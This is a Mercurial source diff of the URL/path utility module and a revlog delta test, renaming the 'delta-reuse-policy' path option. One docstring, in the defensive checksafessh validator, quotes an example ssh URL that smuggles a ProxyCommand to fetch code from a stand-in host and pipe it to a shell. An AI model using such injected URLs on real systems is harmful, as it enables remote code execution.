348 348 # we store the query in escaped form.
349 349 s += b'?' + self.query
350 350 if self.fragment is not None:
351 351 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
352 352 return s
353 353
354 354 __str__ = encoding.strmethod(__bytes__)
355 355
356 356 def authinfo(self):
357 357 user, passwd = self.user, self.passwd
358 358 try:
359 359 self.user, self.passwd = None, None
360 360 s = bytes(self)
361 361 finally:
362 362 self.user, self.passwd = user, passwd
363 363 if not self.user:
364 364 return (s, None)
365 365 # authinfo[1] is passed to urllib2 password manager, and its
366 366 # URIs must not contain credentials. The host is passed in the
367 367 # URIs list because Python < 2.4.3 uses only that to search for
368 368 # a password.
369 369 return (s, (None, (s, self.host), self.user, self.passwd or b''))
370 370
371 371 def isabs(self):
372 372 if self.scheme and self.scheme != b'file':
373 373 return True # remote URL
374 374 if hasdriveletter(self.path):
375 375 return True # absolute for our purposes - can't be joined()
376 376 if self.path.startswith(br'\\'):
377 377 return True # Windows UNC path
378 378 if self.path.startswith(b'/'):
379 379 return True # POSIX-style
380 380 return False
381 381
382 382 def localpath(self):
383 383 # type: () -> bytes
384 384 if self.scheme == b'file' or self.scheme == b'bundle':
385 385 path = self.path or b'/'
386 386 # For Windows, we need to promote hosts containing drive
387 387 # letters to paths with drive letters.
388 388 if hasdriveletter(self._hostport):
389 389 path = self._hostport + b'/' + self.path
390 390 elif (
391 391 self.host is not None and self.path and not hasdriveletter(path)
392 392 ):
393 393 path = b'/' + path
394 394 return path
395 395 return self._origpath
396 396
397 397 def islocal(self):
398 398 '''whether localpath will return something that posixfile can open'''
399 399 return (
400 400 not self.scheme
401 401 or self.scheme == b'file'
402 402 or self.scheme == b'bundle'
403 403 )
404 404
405 405
406 406 def hasscheme(path):
407 407 # type: (bytes) -> bool
408 408 return bool(url(path).scheme) # cast to help pytype
409 409
410 410
411 411 def hasdriveletter(path):
412 412 # type: (bytes) -> bool
413 413 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
414 414
415 415
416 416 def urllocalpath(path):
417 417 # type: (bytes) -> bytes
418 418 return url(path, parsequery=False, parsefragment=False).localpath()
419 419
420 420
421 421 def checksafessh(path):
422 422 # type: (bytes) -> None
423 423 """check if a path / url is a potentially unsafe ssh exploit (SEC)
424 424
425 425 This is a sanity check for ssh urls. ssh will parse the first item as
426 426 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
427 427 Let's prevent these potentially exploited urls entirely and warn the
428 428 user.
429 429
430 430 Raises an error.Abort when the url is unsafe.
431 431 """
432 432 path = urlreq.unquote(path)
433 433 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
434 434 raise error.Abort(
435 435 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
436 436 )
437 437
438 438
439 439 def hidepassword(u):
440 440 # type: (bytes) -> bytes
441 441 '''hide user credential in a url string'''
442 442 u = url(u)
443 443 if u.passwd:
444 444 u.passwd = b'***'
445 445 return bytes(u)
446 446
447 447
448 448 def removeauth(u):
449 449 # type: (bytes) -> bytes
450 450 '''remove all authentication information from a url string'''
451 451 u = url(u)
452 452 u.user = u.passwd = None
453 453 return bytes(u)
454 454
455 455
456 456 def list_paths(ui, target_path=None):
457 457 """list all the (name, paths) in the passed ui"""
458 458 result = []
459 459 if target_path is None:
460 460 for name, paths in sorted(ui.paths.items()):
461 461 for p in paths:
462 462 result.append((name, p))
463 463
464 464 else:
465 465 for path in ui.paths.get(target_path, []):
466 466 result.append((target_path, path))
467 467 return result
468 468
469 469
470 470 def try_path(ui, url):
471 471 """try to build a path from a url
472 472
473 473 Return None if no Path could built.
474 474 """
475 475 try:
476 476 # we pass the ui instance are warning might need to be issued
477 477 return path(ui, None, rawloc=url)
478 478 except ValueError:
479 479 return None
480 480
481 481
482 482 def get_push_paths(repo, ui, dests):
483 483 """yields all the `path` selected as push destination by `dests`"""
484 484 if not dests:
485 485 if b'default-push' in ui.paths:
486 486 for p in ui.paths[b'default-push']:
487 487 yield p.get_push_variant()
488 488 elif b'default' in ui.paths:
489 489 for p in ui.paths[b'default']:
490 490 yield p.get_push_variant()
491 491 else:
492 492 raise error.ConfigError(
493 493 _(b'default repository not configured!'),
494 494 hint=_(b"see 'hg help config.paths'"),
495 495 )
496 496 else:
497 497 for dest in dests:
498 498 if dest in ui.paths:
499 499 for p in ui.paths[dest]:
500 500 yield p.get_push_variant()
501 501 else:
502 502 path = try_path(ui, dest)
503 503 if path is None:
504 504 msg = _(b'repository %s does not exist')
505 505 msg %= dest
506 506 raise error.RepoError(msg)
507 507 yield path.get_push_variant()
508 508
509 509
510 510 def get_pull_paths(repo, ui, sources):
511 511 """yields all the `(path, branch)` selected as pull source by `sources`"""
512 512 if not sources:
513 513 sources = [b'default']
514 514 for source in sources:
515 515 if source in ui.paths:
516 516 for p in ui.paths[source]:
517 517 yield p
518 518 else:
519 519 p = path(ui, None, source, validate_path=False)
520 520 yield p
521 521
522 522
523 523 def get_unique_push_path(action, repo, ui, dest=None):
524 524 """return a unique `path` or abort if multiple are found
525 525
526 526 This is useful for command and action that does not support multiple
527 527 destination (yet).
528 528
529 529 The `action` parameter will be used for the error message.
530 530 """
531 531 if dest is None:
532 532 dests = []
533 533 else:
534 534 dests = [dest]
535 535 dests = list(get_push_paths(repo, ui, dests))
536 536 if len(dests) != 1:
537 537 if dest is None:
538 538 msg = _(
539 539 b"default path points to %d urls while %s only supports one"
540 540 )
541 541 msg %= (len(dests), action)
542 542 else:
543 543 msg = _(b"path points to %d urls while %s only supports one: %s")
544 544 msg %= (len(dests), action, dest)
545 545 raise error.Abort(msg)
546 546 return dests[0]
547 547
548 548
549 549 def get_unique_pull_path_obj(action, ui, source=None):
550 550 """return a unique `(path, branch)` or abort if multiple are found
551 551
552 552 This is useful for command and action that does not support multiple
553 553 destination (yet).
554 554
555 555 The `action` parameter will be used for the error message.
556 556
557 557 note: Ideally, this function would be called `get_unique_pull_path` to
558 558 mirror the `get_unique_push_path`, but the name was already taken.
559 559 """
560 560 sources = []
561 561 if source is not None:
562 562 sources.append(source)
563 563
564 564 pull_paths = list(get_pull_paths(None, ui, sources=sources))
565 565 path_count = len(pull_paths)
566 566 if path_count != 1:
567 567 if source is None:
568 568 msg = _(
569 569 b"default path points to %d urls while %s only supports one"
570 570 )
571 571 msg %= (path_count, action)
572 572 else:
573 573 msg = _(b"path points to %d urls while %s only supports one: %s")
574 574 msg %= (path_count, action, source)
575 575 raise error.Abort(msg)
576 576 return pull_paths[0]
577 577
578 578
579 579 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
580 580 """return a unique `(url, branch)` or abort if multiple are found
581 581
582 582 See `get_unique_pull_path_obj` for details.
583 583 """
584 584 path = get_unique_pull_path_obj(action, ui, source=source)
585 585 return parseurl(path.rawloc, default_branches)
586 586
587 587
588 588 def get_clone_path_obj(ui, source):
589 589 """return the `(origsource, url, branch)` selected as clone source"""
590 590 if source == b'':
591 591 return None
592 592 return get_unique_pull_path_obj(b'clone', ui, source=source)
593 593
594 594
595 595 def get_clone_path(ui, source, default_branches=None):
596 596 """return the `(origsource, url, branch)` selected as clone source"""
597 597 path = get_clone_path_obj(ui, source)
598 598 if path is None:
599 599 return (b'', b'', (None, default_branches))
600 600 if default_branches is None:
601 601 default_branches = []
602 602 branches = (path.branch, default_branches)
603 603 return path.rawloc, path.loc, branches
604 604
605 605
606 606 def parseurl(path, branches=None):
607 607 '''parse url#branch, returning (url, (branch, branches))'''
608 608 u = url(path)
609 609 branch = None
610 610 if u.fragment:
611 611 branch = u.fragment
612 612 u.fragment = None
613 613 return bytes(u), (branch, branches or [])
614 614
615 615
616 616 class paths(dict):
617 617 """Represents a collection of paths and their configs.
618 618
619 619 Data is initially derived from ui instances and the config files they have
620 620 loaded.
621 621 """
622 622
623 623 def __init__(self, ui):
624 624 dict.__init__(self)
625 625
626 626 home_path = os.path.expanduser(b'~')
627 627
628 628 for name, value in ui.configitems(b'paths', ignoresub=True):
629 629 # No location is the same as not existing.
630 630 if not value:
631 631 continue
632 632 _value, sub_opts = ui.configsuboptions(b'paths', name)
633 633 s = ui.configsource(b'paths', name)
634 634 root_key = (name, value, s)
635 635 root = ui._path_to_root.get(root_key, home_path)
636 636
637 637 multi_url = sub_opts.get(b'multi-urls')
638 638 if multi_url is not None and stringutil.parsebool(multi_url):
639 639 base_locs = stringutil.parselist(value)
640 640 else:
641 641 base_locs = [value]
642 642
643 643 paths = []
644 644 for loc in base_locs:
645 645 loc = os.path.expandvars(loc)
646 646 loc = os.path.expanduser(loc)
647 647 if not hasscheme(loc) and not os.path.isabs(loc):
648 648 loc = os.path.normpath(os.path.join(root, loc))
649 649 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
650 650 paths.append(p)
651 651 self[name] = paths
652 652
653 653 for name, old_paths in sorted(self.items()):
654 654 new_paths = []
655 655 for p in old_paths:
656 656 new_paths.extend(_chain_path(p, ui, self))
657 657 self[name] = new_paths
658 658
659 659
660 660 _pathsuboptions = {}
661 661
662 662
663 663 def pathsuboption(option, attr):
664 664 """Decorator used to declare a path sub-option.
665 665
666 666 Arguments are the sub-option name and the attribute it should set on
667 667 ``path`` instances.
668 668
669 669 The decorated function will receive as arguments a ``ui`` instance,
670 670 ``path`` instance, and the string value of this option from the config.
671 671 The function should return the value that will be set on the ``path``
672 672 instance.
673 673
674 674 This decorator can be used to perform additional verification of
675 675 sub-options and to change the type of sub-options.
676 676 """
677 677
678 678 def register(func):
679 679 _pathsuboptions[option] = (attr, func)
680 680 return func
681 681
682 682 return register
683 683
684 684
685 685 @pathsuboption(b'pushurl', b'_pushloc')
686 686 def pushurlpathoption(ui, path, value):
687 687 u = url(value)
688 688 # Actually require a URL.
689 689 if not u.scheme:
690 690 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
691 691 msg %= (path.name, value)
692 692 ui.warn(msg)
693 693 return None
694 694
695 695 # Don't support the #foo syntax in the push URL to declare branch to
696 696 # push.
697 697 if u.fragment:
698 698 ui.warn(
699 699 _(
700 700 b'("#fragment" in paths.%s:pushurl not supported; '
701 701 b'ignoring)\n'
702 702 )
703 703 % path.name
704 704 )
705 705 u.fragment = None
706 706
707 707 return bytes(u)
708 708
709 709
710 710 @pathsuboption(b'pushrev', b'pushrev')
711 711 def pushrevpathoption(ui, path, value):
712 712 return value
713 713
714 714
715 715 SUPPORTED_BOOKMARKS_MODES = {
716 716 b'default',
717 717 b'mirror',
718 718 b'ignore',
719 719 }
720 720
721 721
722 722 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
723 723 def bookmarks_mode_option(ui, path, value):
724 724 if value not in SUPPORTED_BOOKMARKS_MODES:
725 725 path_name = path.name
726 726 if path_name is None:
727 727 # this is an "anonymous" path, config comes from the global one
728 728 path_name = b'*'
729 729 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
730 730 msg %= (path_name, value)
731 731 ui.warn(msg)
732 732 if value == b'default':
733 733 value = None
734 734 return value
735 735
736 736
737 737 DELTA_REUSE_POLICIES = {
738 738 b'default': None,
739 739 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
740 740 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
741 741 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
742 742 }
743 743
744 744
745 @pathsuboption(b'delta-reuse-policy', b'delta_reuse_policy')
745 @pathsuboption(b'pulled-delta-reuse-policy', b'delta_reuse_policy')
746 746 def delta_reuse_policy(ui, path, value):
747 747 if value not in DELTA_REUSE_POLICIES:
748 748 path_name = path.name
749 749 if path_name is None:
750 750 # this is an "anonymous" path, config comes from the global one
751 751 path_name = b'*'
752 msg = _(b'(paths.%s:delta-reuse-policy has unknown value: "%s")\n')
752 msg = _(
753 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
754 )
753 755 msg %= (path_name, value)
754 756 ui.warn(msg)
755 757 return DELTA_REUSE_POLICIES.get(value)
756 758
757 759
758 760 @pathsuboption(b'multi-urls', b'multi_urls')
759 761 def multiurls_pathoption(ui, path, value):
760 762 res = stringutil.parsebool(value)
761 763 if res is None:
762 764 ui.warn(
763 765 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
764 766 )
765 767 res = False
766 768 return res
767 769
768 770
769 771 def _chain_path(base_path, ui, paths):
770 772 """return the result of "path://" logic applied on a given path"""
771 773 new_paths = []
772 774 if base_path.url.scheme != b'path':
773 775 new_paths.append(base_path)
774 776 else:
775 777 assert base_path.url.path is None
776 778 sub_paths = paths.get(base_path.url.host)
777 779 if sub_paths is None:
778 780 m = _(b'cannot use `%s`, "%s" is not a known path')
779 781 m %= (base_path.rawloc, base_path.url.host)
780 782 raise error.Abort(m)
781 783 for subpath in sub_paths:
782 784 path = base_path.copy()
783 785 if subpath.raw_url.scheme == b'path':
784 786 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
785 787 m %= (path.rawloc, path.url.host)
786 788 raise error.Abort(m)
787 789 path.url = subpath.url
788 790 path.rawloc = subpath.rawloc
789 791 path.loc = subpath.loc
790 792 if path.branch is None:
791 793 path.branch = subpath.branch
792 794 else:
793 795 base = path.rawloc.rsplit(b'#', 1)[0]
794 796 path.rawloc = b'%s#%s' % (base, path.branch)
795 797 suboptions = subpath._all_sub_opts.copy()
796 798 suboptions.update(path._own_sub_opts)
797 799 path._apply_suboptions(ui, suboptions)
798 800 new_paths.append(path)
799 801 return new_paths
800 802
801 803
802 804 class path:
803 805 """Represents an individual path and its configuration."""
804 806
805 807 def __init__(
806 808 self,
807 809 ui=None,
808 810 name=None,
809 811 rawloc=None,
810 812 suboptions=None,
811 813 validate_path=True,
812 814 ):
813 815 """Construct a path from its config options.
814 816
815 817 ``ui`` is the ``ui`` instance the path is coming from.
816 818 ``name`` is the symbolic name of the path.
817 819 ``rawloc`` is the raw location, as defined in the config.
818 820 ``_pushloc`` is the raw locations pushes should be made to.
819 821 (see the `get_push_variant` method)
820 822
821 823 If ``name`` is not defined, we require that the location be a) a local
822 824 filesystem path with a .hg directory or b) a URL. If not,
823 825 ``ValueError`` is raised.
824 826 """
825 827 if ui is None:
826 828 # used in copy
827 829 assert name is None
828 830 assert rawloc is None
829 831 assert suboptions is None
830 832 return
831 833
832 834 if not rawloc:
833 835 raise ValueError(b'rawloc must be defined')
834 836
835 837 self.name = name
836 838
837 839 # set by path variant to point to their "non-push" version
838 840 self.main_path = None
839 841 self._setup_url(rawloc)
840 842
841 843 if validate_path:
842 844 self._validate_path()
843 845
844 846 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
845 847 self._own_sub_opts = {}
846 848 if suboptions is not None:
847 849 self._own_sub_opts = suboptions.copy()
848 850 sub_opts.update(suboptions)
849 851 self._all_sub_opts = sub_opts.copy()
850 852
851 853 self._apply_suboptions(ui, sub_opts)
852 854
853 855 def _setup_url(self, rawloc):
854 856 # Locations may define branches via syntax <base>#<branch>.
855 857 u = url(rawloc)
856 858 branch = None
857 859 if u.fragment:
858 860 branch = u.fragment
859 861 u.fragment = None
860 862
861 863 self.url = u
862 864 # the url from the config/command line before dealing with `path://`
863 865 self.raw_url = u.copy()
864 866 self.branch = branch
865 867
866 868 self.rawloc = rawloc
867 869 self.loc = b'%s' % u
868 870
869 871 def copy(self, new_raw_location=None):
870 872 """make a copy of this path object
871 873
872 874 When `new_raw_location` is set, the new path will point to it.
873 875 This is used by the scheme extension so expand the scheme.
874 876 """
875 877 new = self.__class__()
876 878 for k, v in self.__dict__.items():
877 879 new_copy = getattr(v, 'copy', None)
878 880 if new_copy is not None:
879 881 v = new_copy()
880 882 new.__dict__[k] = v
881 883 if new_raw_location is not None:
882 884 new._setup_url(new_raw_location)
883 885 return new
884 886
885 887 @property
886 888 def is_push_variant(self):
887 889 """is this a path variant to be used for pushing"""
888 890 return self.main_path is not None
889 891
890 892 def get_push_variant(self):
891 893 """get a "copy" of the path, but suitable for pushing
892 894
893 895 This means using the value of the `pushurl` option (if any) as the url.
894 896
895 897 The original path is available in the `main_path` attribute.
896 898 """
897 899 if self.main_path:
898 900 return self
899 901 new = self.copy()
900 902 new.main_path = self
901 903 if self._pushloc:
902 904 new._setup_url(self._pushloc)
903 905 return new
904 906
905 907 def pushloc(self):
906 908 """compatibility layer for the deprecated attributes"""
907 909 from .. import util # avoid a cycle
908 910
909 911 msg = "don't use path.pushloc, use path.get_push_variant()"
910 912 util.nouideprecwarn(msg, b"6.5")
911 913 return self._pushloc
912 914
913 915 def _validate_path(self):
914 916 # When given a raw location but not a symbolic name, validate the
915 917 # location is valid.
916 918 if (
917 919 not self.name
918 920 and not self.url.scheme
919 921 and not self._isvalidlocalpath(self.loc)
920 922 ):
921 923 raise ValueError(
922 924 b'location is not a URL or path to a local '
923 925 b'repo: %s' % self.rawloc
924 926 )
925 927
926 928 def _apply_suboptions(self, ui, sub_options):
927 929 # Now process the sub-options. If a sub-option is registered, its
928 930 # attribute will always be present. The value will be None if there
929 931 # was no valid sub-option.
930 932 for suboption, (attr, func) in _pathsuboptions.items():
931 933 if suboption not in sub_options:
932 934 setattr(self, attr, None)
933 935 continue
934 936
935 937 value = func(ui, self, sub_options[suboption])
936 938 setattr(self, attr, value)
937 939
938 940 def _isvalidlocalpath(self, path):
939 941 """Returns True if the given path is a potentially valid repository.
940 942 This is its own function so that extensions can change the definition of
941 943 'valid' in this case (like when pulling from a git repo into a hg
942 944 one)."""
943 945 try:
944 946 return os.path.isdir(os.path.join(path, b'.hg'))
945 947 # Python 2 may return TypeError. Python 3, ValueError.
946 948 except (TypeError, ValueError):
947 949 return False
948 950
949 951 @property
950 952 def suboptions(self):
951 953 """Return sub-options and their values for this path.
952 954
953 955 This is intended to be used for presentation purposes.
954 956 """
955 957 d = {}
956 958 for subopt, (attr, _func) in _pathsuboptions.items():
957 959 value = getattr(self, attr)
958 960 if value is not None:
959 961 d[subopt] = value
960 962 return d
@@ -1,333 +1,333 b''
1 1 ==========================================================
2 2 Test various things around delta computation within revlog
3 3 ==========================================================
4 4
5 5
6 6 basic setup
7 7 -----------
8 8
9 9 $ cat << EOF >> $HGRCPATH
10 10 > [debug]
11 11 > revlog.debug-delta=yes
12 12 > EOF
13 13 $ cat << EOF >> sha256line.py
14 14 > # a way to quickly produce file of significant size and poorly compressable content.
15 15 > import hashlib
16 16 > import sys
17 17 > for line in sys.stdin:
18 18 > print(hashlib.sha256(line.encode('utf8')).hexdigest())
19 19 > EOF
20 20
21 21 $ hg init base-repo
22 22 $ cd base-repo
23 23
24 24 create a "large" file
25 25
26 26 $ $TESTDIR/seq.py 1000 | $PYTHON $TESTTMP/sha256line.py > my-file.txt
27 27 $ hg add my-file.txt
28 28 $ hg commit -m initial-commit
29 29 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
30 30 DBG-DELTAS: MANIFESTLOG: * (glob)
31 31 DBG-DELTAS: CHANGELOG: * (glob)
32 32
33 33 Add more change at the end of the file
34 34
35 35 $ $TESTDIR/seq.py 1001 1200 | $PYTHON $TESTTMP/sha256line.py >> my-file.txt
36 36 $ hg commit -m "large-change"
37 37 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
38 38 DBG-DELTAS: MANIFESTLOG: * (glob)
39 39 DBG-DELTAS: CHANGELOG: * (glob)
40 40
41 41 Add small change at the start
42 42
43 43 $ hg up 'desc("initial-commit")' --quiet
44 44 $ mv my-file.txt foo
45 45 $ echo "small change at the start" > my-file.txt
46 46 $ cat foo >> my-file.txt
47 47 $ rm foo
48 48 $ hg commit -m "small-change"
49 49 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
50 50 DBG-DELTAS: MANIFESTLOG: * (glob)
51 51 DBG-DELTAS: CHANGELOG: * (glob)
52 52 created new head
53 53
54 54
55 55 $ hg log -r 'head()' -T '{node}\n' >> ../base-heads.nodes
56 56 $ hg log -r 'desc("initial-commit")' -T '{node}\n' >> ../initial.node
57 57 $ hg log -r 'desc("small-change")' -T '{node}\n' >> ../small.node
58 58 $ hg log -r 'desc("large-change")' -T '{node}\n' >> ../large.node
59 59 $ cd ..
60 60
61 61 Check delta find policy and result for merge on commit
62 62 ======================================================
63 63
64 64 Check that delta of merge pick best of the two parents
65 65 ------------------------------------------------------
66 66
67 67 As we check against both parents, the one with the largest change should
68 68 produce the smallest delta and be picked.
69 69
70 70 $ hg clone base-repo test-parents --quiet
71 71 $ hg -R test-parents update 'nodefromfile("small.node")' --quiet
72 72 $ hg -R test-parents merge 'nodefromfile("large.node")' --quiet
73 73
74 74 The delta base is the "large" revision as it produce a smaller delta.
75 75
76 76 $ hg -R test-parents commit -m "merge from small change"
77 77 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
78 78 DBG-DELTAS: MANIFESTLOG: * (glob)
79 79 DBG-DELTAS: CHANGELOG: * (glob)
80 80
81 81 Check that the behavior tested above can we disabled
82 82 ----------------------------------------------------
83 83
84 84 We disable the checking of both parent at the same time. The `small` change,
85 85 that produce a less optimal delta, should be picked first as it is "closer" to
86 86 the new commit.
87 87
88 88 $ hg clone base-repo test-no-parents --quiet
89 89 $ hg -R test-no-parents update 'nodefromfile("small.node")' --quiet
90 90 $ hg -R test-no-parents merge 'nodefromfile("large.node")' --quiet
91 91
92 92 The delta base is the "large" revision as it produce a smaller delta.
93 93
94 94 $ hg -R test-no-parents commit -m "merge from small change" \
95 95 > --config storage.revlog.optimize-delta-parent-choice=no
96 96 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
97 97 DBG-DELTAS: MANIFESTLOG: * (glob)
98 98 DBG-DELTAS: CHANGELOG: * (glob)
99 99
100 100
101 101 Check delta-find policy and result when unbundling
102 102 ==================================================
103 103
104 104 Build a bundle with all delta built against p1
105 105
106 106 $ hg bundle -R test-parents --all --config devel.bundle.delta=p1 all-p1.hg
107 107 4 changesets found
108 108
109 109 Default policy of trusting delta from the bundle
110 110 ------------------------------------------------
111 111
112 112 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
113 113 strusting in-bundle delta is faster to apply.
114 114
115 115 $ hg init bundle-default
116 116 $ hg -R bundle-default unbundle all-p1.hg --quiet
117 117 DBG-DELTAS: CHANGELOG: * (glob)
118 118 DBG-DELTAS: CHANGELOG: * (glob)
119 119 DBG-DELTAS: CHANGELOG: * (glob)
120 120 DBG-DELTAS: CHANGELOG: * (glob)
121 121 DBG-DELTAS: MANIFESTLOG: * (glob)
122 122 DBG-DELTAS: MANIFESTLOG: * (glob)
123 123 DBG-DELTAS: MANIFESTLOG: * (glob)
124 124 DBG-DELTAS: MANIFESTLOG: * (glob)
125 125 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
126 126 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
127 127 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
128 128 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
129 129
130 130 (confirm the file revision are in the same order, 2 should be smaller than 1)
131 131
132 132 $ hg -R bundle-default debugdata my-file.txt 2 | wc -l
133 133 \s*1001 (re)
134 134 $ hg -R bundle-default debugdata my-file.txt 1 | wc -l
135 135 \s*1200 (re)
136 136
137 137 explicitly enabled
138 138 ------------------
139 139
140 140 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
141 141 strusting in-bundle delta is faster to apply.
142 142
143 143 $ hg init bundle-reuse-enabled
144 144 $ hg -R bundle-reuse-enabled unbundle all-p1.hg --quiet \
145 145 > --config storage.revlog.reuse-external-delta-parent=yes
146 146 DBG-DELTAS: CHANGELOG: * (glob)
147 147 DBG-DELTAS: CHANGELOG: * (glob)
148 148 DBG-DELTAS: CHANGELOG: * (glob)
149 149 DBG-DELTAS: CHANGELOG: * (glob)
150 150 DBG-DELTAS: MANIFESTLOG: * (glob)
151 151 DBG-DELTAS: MANIFESTLOG: * (glob)
152 152 DBG-DELTAS: MANIFESTLOG: * (glob)
153 153 DBG-DELTAS: MANIFESTLOG: * (glob)
154 154 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
155 155 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
156 156 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
157 157 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
158 158
159 159 (confirm the file revision are in the same order, 2 should be smaller than 1)
160 160
161 161 $ hg -R bundle-reuse-enabled debugdata my-file.txt 2 | wc -l
162 162 \s*1001 (re)
163 163 $ hg -R bundle-reuse-enabled debugdata my-file.txt 1 | wc -l
164 164 \s*1200 (re)
165 165
166 166 explicitly disabled
167 167 -------------------
168 168
169 169 Not reusing the delta-base from the parent means we the delta will be made
170 170 against the "best" parent. (so not the same as the previous two)
171 171
172 172 $ hg init bundle-reuse-disabled
173 173 $ hg -R bundle-reuse-disabled unbundle all-p1.hg --quiet \
174 174 > --config storage.revlog.reuse-external-delta-parent=no
175 175 DBG-DELTAS: CHANGELOG: * (glob)
176 176 DBG-DELTAS: CHANGELOG: * (glob)
177 177 DBG-DELTAS: CHANGELOG: * (glob)
178 178 DBG-DELTAS: CHANGELOG: * (glob)
179 179 DBG-DELTAS: MANIFESTLOG: * (glob)
180 180 DBG-DELTAS: MANIFESTLOG: * (glob)
181 181 DBG-DELTAS: MANIFESTLOG: * (glob)
182 182 DBG-DELTAS: MANIFESTLOG: * (glob)
183 183 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
184 184 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
185 185 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
186 186 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
187 187
188 188 (confirm the file revision are in the same order, 2 should be smaller than 1)
189 189
190 190 $ hg -R bundle-reuse-disabled debugdata my-file.txt 2 | wc -l
191 191 \s*1001 (re)
192 192 $ hg -R bundle-reuse-disabled debugdata my-file.txt 1 | wc -l
193 193 \s*1200 (re)
194 194
195 195
196 Check the path.*:delta-reuse-policy option
196 Check the path.*:pulled-delta-reuse-policy option
197 197 ==========================================
198 198
199 199 Get a repository with the bad parent picked and a clone ready to pull the merge
200 200
201 201 $ cp -ar bundle-reuse-enabled peer-bad-delta
202 202 $ hg clone peer-bad-delta local-pre-pull --rev `cat large.node` --rev `cat small.node` --quiet
203 203 DBG-DELTAS: CHANGELOG: * (glob)
204 204 DBG-DELTAS: CHANGELOG: * (glob)
205 205 DBG-DELTAS: CHANGELOG: * (glob)
206 206 DBG-DELTAS: MANIFESTLOG: * (glob)
207 207 DBG-DELTAS: MANIFESTLOG: * (glob)
208 208 DBG-DELTAS: MANIFESTLOG: * (glob)
209 209 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
210 210 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
211 211 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
212 212
213 213 Check the parent order for the file
214 214
215 215 $ hg -R local-pre-pull debugdata my-file.txt 2 | wc -l
216 216 \s*1001 (re)
217 217 $ hg -R local-pre-pull debugdata my-file.txt 1 | wc -l
218 218 \s*1200 (re)
219 219
220 220 Pull with no value (so the default)
221 221 -----------------------------------
222 222
223 223 default is to reuse the (bad) delta
224 224
225 225 $ cp -ar local-pre-pull local-no-value
226 226 $ hg -R local-no-value pull --quiet
227 227 DBG-DELTAS: CHANGELOG: * (glob)
228 228 DBG-DELTAS: MANIFESTLOG: * (glob)
229 229 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
230 230
231 231 Pull with explicitly the default
232 232 --------------------------------
233 233
234 234 default is to reuse the (bad) delta
235 235
236 236 $ cp -ar local-pre-pull local-default
237 $ hg -R local-default pull --quiet --config 'paths.default:delta-reuse-policy=default'
237 $ hg -R local-default pull --quiet --config 'paths.default:pulled-delta-reuse-policy=default'
238 238 DBG-DELTAS: CHANGELOG: * (glob)
239 239 DBG-DELTAS: MANIFESTLOG: * (glob)
240 240 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
241 241
242 242 Pull with no-reuse
243 243 ------------------
244 244
245 245 We don't reuse the base, so we get a better delta
246 246
247 247 $ cp -ar local-pre-pull local-no-reuse
248 $ hg -R local-no-reuse pull --quiet --config 'paths.default:delta-reuse-policy=no-reuse'
248 $ hg -R local-no-reuse pull --quiet --config 'paths.default:pulled-delta-reuse-policy=no-reuse'
249 249 DBG-DELTAS: CHANGELOG: * (glob)
250 250 DBG-DELTAS: MANIFESTLOG: * (glob)
251 251 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
252 252
253 253 Pull with try-base
254 254 ------------------
255 255
256 256 We requested to use the (bad) delta
257 257
258 258 $ cp -ar local-pre-pull local-try-base
259 $ hg -R local-try-base pull --quiet --config 'paths.default:delta-reuse-policy=try-base'
259 $ hg -R local-try-base pull --quiet --config 'paths.default:pulled-delta-reuse-policy=try-base'
260 260 DBG-DELTAS: CHANGELOG: * (glob)
261 261 DBG-DELTAS: MANIFESTLOG: * (glob)
262 262 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
263 263
264 264 Case where we force a "bad" delta to be applied
265 265 ===============================================
266 266
267 267 We build a very different file content to force a full snapshot
268 268
269 269 $ cp -ar peer-bad-delta peer-bad-delta-with-full
270 270 $ cp -ar local-pre-pull local-pre-pull-full
